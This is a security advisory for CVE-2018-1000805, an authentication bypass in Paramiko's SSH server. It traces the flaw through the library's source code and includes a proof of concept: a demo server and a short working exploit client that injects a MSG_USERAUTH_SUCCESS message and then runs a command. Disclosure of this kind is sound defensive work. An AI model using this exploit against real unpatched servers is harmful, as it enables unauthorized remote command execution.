usd-2018-0023 | Paramiko/2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6


Advisory ID: 2018-0023
CVE number: CVE-2018-1000805
Affected Product: Paramiko
Affected Version: 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6
Vulnerability Type: Authentication Bypass
Security Risk: Critical
Vendor URL: https://www.paramiko.org/
Vendor Status: Fixed according to vendor in version 2.0.x and up

Description

The authentication process within the Paramiko SSH server can by bypassed by sending a MSG_USERAUTH_SUCCESS message to the server. An attacker who exploits this vulnerability can gain remote code execution.

Description based on most recent commit
https://github.com/paramiko/paramiko/tree/677166b4411e86029226f3d093701fb3b999a082

The server identifies each message by an ID (`ptype`). If the ID exists in the transport._handler_table, the server checks if the connection is authenticated (transport.py:2003)

if ptype in self._handler_table:
error_msg = self._ensure_authed(ptype, m)
if error_msg:
self._send_message(error_msg)
else:
self._handler_table[ptype](self, m)

The function `self._ensure_authed` returns `None` if the user is authenticated (transport.py:1716)

if (
not self.server_mode or
ptype <= HIGHEST_USERAUTH_MESSAGE_ID or
self.is_authenticated()
):
return None

If the ID does not exist in the transport._handler_table, the auth_handler._handler_table is checked and the corresponding method is called (transport.py:2029)

elif (
self.auth_handler is not None
and ptype in self.auth_handler._handler_table
):
handler = self.auth_handler._handler_table[ptype]
handler(self.auth_handler, m)
if len(self._expected_packet) > 0:
continue

By default, the auth_handler adds MSG_USERAUTH_SUCCESS to the _handler_table (auth_handler.py:606)

_handler_table = {
MSG_SERVICE_REQUEST: _parse_service_request,
MSG_SERVICE_ACCEPT: _parse_service_accept,
MSG_USERAUTH_REQUEST: _parse_userauth_request,
MSG_USERAUTH_SUCCESS: _parse_userauth_success,
MSG_USERAUTH_FAILURE: _parse_userauth_failure,
MSG_USERAUTH_BANNER: _parse_userauth_banner,
MSG_USERAUTH_INFO_REQUEST: _parse_userauth_info_request,
MSG_USERAUTH_INFO_RESPONSE: _parse_userauth_info_response,
}

The function _parse_userauth_success sets the authenticated flag to true (auth_handler.py:541)

def _parse_userauth_success(self, m):
self.transport._log(INFO, 'Authentication (%s) successful!' % self.auth_method)
self.authenticated = True
self.transport._auth_trigger()
if self.auth_event is not None:
self.auth_event.set()

By sending a MSG_USERAUTH_SUCCESS message to the server, it’s possible to bypass the auth process.

Proof of Concept

### Example of a Paramiko SSH Server ###

#!/usr/bin/env python

import base64
from binascii import hexlify
import os
import socket
import sys
import threading
import traceback

import paramiko
from paramiko.py3compat import b, u, decodebytes

# setup logging
paramiko.util.log_to_file("demo_server.log")

host_key = paramiko.RSAKey(filename="test_rsa.key")

class Server(paramiko.ServerInterface):
data = (
b"AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp"
b"fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC"
b"KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT"
b"UWT10hcuO4Ks8="
)
good_pub_key = paramiko.RSAKey(data=decodebytes(data))

def __init__(self):
self.event = threading.Event()

def check_channel_request(self, kind, chanid):
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

def check_auth_password(self, username, password):
if (username == "robey") and (password == "foo"):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED

def check_auth_publickey(self, username, key):
print("Auth attempt with key: " + u(hexlify(key.get_fingerprint())))
if (username == "robey") and (key == self.good_pub_key):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED

def get_allowed_auths(self, username):
return "password,publickey"

def check_channel_exec_request(self, channel, command):
print("---SHOULD ONLY BE CALLABLE IF CLIENT IS AUTHED---")
self.event.set()
return True

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("", 2200))
except Exception as e:
print("*** Bind failed: " + str(e))
traceback.print_exc()
sys.exit(1)

try:
sock.listen(100)
print("Listening for connection ...")
client, addr = sock.accept()
except Exception as e:
print("*** Listen/accept failed: " + str(e))
traceback.print_exc()
sys.exit(1)

print("Got a connection!")

try:
t = paramiko.Transport(client)
t.add_server_key(host_key)
server = Server()
try:
t.start_server(server=server)
except paramiko.SSHException:
print("*** SSH negotiation failed.")
sys.exit(1)

# wait for auth
chan = t.accept(20)
if chan is None:
print("*** No channel.")
sys.exit(1)
print("Authenticated!")

server.event.wait(10)

chan.close()

except Exception as e:
print("*** Caught exception: " + str(e.__class__) + ": " + str(e))
traceback.print_exc()
try:
t.close()
except:
pass
sys.exit(1)

### Exploit ###

from paramiko.common import cMSG_USERAUTH_SUCCESS, cMSG_USERAUTH_INFO_RESPONSE

import paramiko

port = 2200
hostname = '127.0.0.1'
username = ''
password = ''

client = paramiko.SSHClient()

#enable warning policy to allow connections to all servers
client.set_missing_host_key_policy(paramiko.WarningPolicy())

#overwrite auth method to skip the auth process
client._auth = lambda *args, **kwargs: None
client.connect(hostname, port, username, password)

#craft MSG_USERAUTH_SUCCESS message
m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_SUCCESS)
client._transport._send_message(m)
client.exec_command('yes')
client.close()

Fix

Probably the message USERAUTH_SUCCESS is client specific and the callback should not be added to the auth_handler._handler_table in server mode.

Timeline

  • 2018-08-31 notified jeff@bitprophet.org
  • 2018-09-20 issue has been fixed according to https://github.com/paramiko/paramiko/issues/1283 and patch will be released in 2.0.x and up
  • 2018-11-19 Security advisory released

Credits

This security vulnerability was found by Daniel Hoffmann of usd AG.